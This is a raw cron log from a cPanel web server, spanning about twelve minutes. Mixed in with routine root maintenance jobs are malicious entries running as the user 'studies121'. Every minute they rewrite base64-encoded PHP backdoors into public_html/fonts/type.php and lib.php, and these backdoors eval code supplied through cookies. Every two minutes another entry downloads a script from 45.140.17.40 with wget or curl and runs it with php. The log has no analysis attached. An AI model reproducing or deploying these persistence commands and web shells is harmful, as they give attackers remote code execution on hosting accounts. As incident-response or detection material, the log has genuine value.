Sep 22 09:29:01 ip-184-168-122-23 CROND[13232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:29:01 ip-184-168-122-23 CROND[13233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:29:01 ip-184-168-122-23 CROND[13235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:30:01 ip-184-168-122-23 CROND[13562]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:30:01 ip-184-168-122-23 CROND[13563]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:30:01 ip-184-168-122-23 CROND[13565]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 09:30:01 ip-184-168-122-23 CROND[13567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:30:01 ip-184-168-122-23 CROND[13569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:30:01 ip-184-168-122-23 CROND[13570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:30:01 ip-184-168-122-23 CROND[13571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:30:01 ip-184-168-122-23 CROND[13572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:31:01 ip-184-168-122-23 CROND[13726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:31:01 ip-184-168-122-23 CROND[13727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:31:01 ip-184-168-122-23 CROND[13730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:31:01 ip-184-168-122-23 CROND[13731]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 09:31:01 ip-184-168-122-23 CROND[13733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:32:01 ip-184-168-122-23 CROND[13864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:32:01 ip-184-168-122-23 CROND[13866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:32:01 ip-184-168-122-23 CROND[13867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:32:01 ip-184-168-122-23 CROND[13868]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:32:01 ip-184-168-122-23 CROND[13869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:33:01 ip-184-168-122-23 CROND[14040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:33:01 ip-184-168-122-23 CROND[14041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:33:01 ip-184-168-122-23 CROND[14046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:33:01 ip-184-168-122-23 CROND[14048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:34:01 ip-184-168-122-23 CROND[14183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:34:01 ip-184-168-122-23 CROND[14185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:34:01 ip-184-168-122-23 CROND[14187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:34:01 ip-184-168-122-23 CROND[14189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:34:01 ip-184-168-122-23 CROND[14192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:35:01 ip-184-168-122-23 CROND[14451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:35:01 ip-184-168-122-23 CROND[14452]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 09:35:01 ip-184-168-122-23 CROND[14455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:35:01 ip-184-168-122-23 CROND[14456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:35:01 ip-184-168-122-23 CROND[14458]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:35:01 ip-184-168-122-23 CROND[14459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:35:01 ip-184-168-122-23 CROND[14457]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 09:35:01 ip-184-168-122-23 CROND[14460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:36:01 ip-184-168-122-23 CROND[14643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:36:01 ip-184-168-122-23 CROND[14645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:36:01 ip-184-168-122-23 CROND[14646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:36:01 ip-184-168-122-23 CROND[14647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:36:01 ip-184-168-122-23 CROND[14648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:37:01 ip-184-168-122-23 CROND[14787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:37:01 ip-184-168-122-23 CROND[14789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:37:01 ip-184-168-122-23 CROND[14790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:37:01 ip-184-168-122-23 CROND[14791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:38:01 ip-184-168-122-23 CROND[14936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:38:01 ip-184-168-122-23 CROND[14939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:38:01 ip-184-168-122-23 CROND[14940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:38:02 ip-184-168-122-23 CROND[14941]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:38:02 ip-184-168-122-23 CROND[14944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:39:01 ip-184-168-122-23 CROND[15101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:39:01 ip-184-168-122-23 CROND[15102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:39:01 ip-184-168-122-23 CROND[15107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:39:01 ip-184-168-122-23 CROND[15104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:39:01 ip-184-168-122-23 CROND[15106]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 09:40:01 ip-184-168-122-23 CROND[15333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 09:40:01 ip-184-168-122-23 CROND[15331]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 09:40:01 ip-184-168-122-23 CROND[15332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:40:01 ip-184-168-122-23 CROND[15337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 09:40:01 ip-184-168-122-23 CROND[15336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 09:40:01 ip-184-168-122-23 CROND[15342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 09:40:01 ip-184-168-122-23 CROND[15343]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 09:40:01 ip-184-168-122-23 CROND[15344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 09:41:01 ip-184-168-122-23 CROND[15520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 09:41:01 ip-184-168-122-23 CROND[15522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
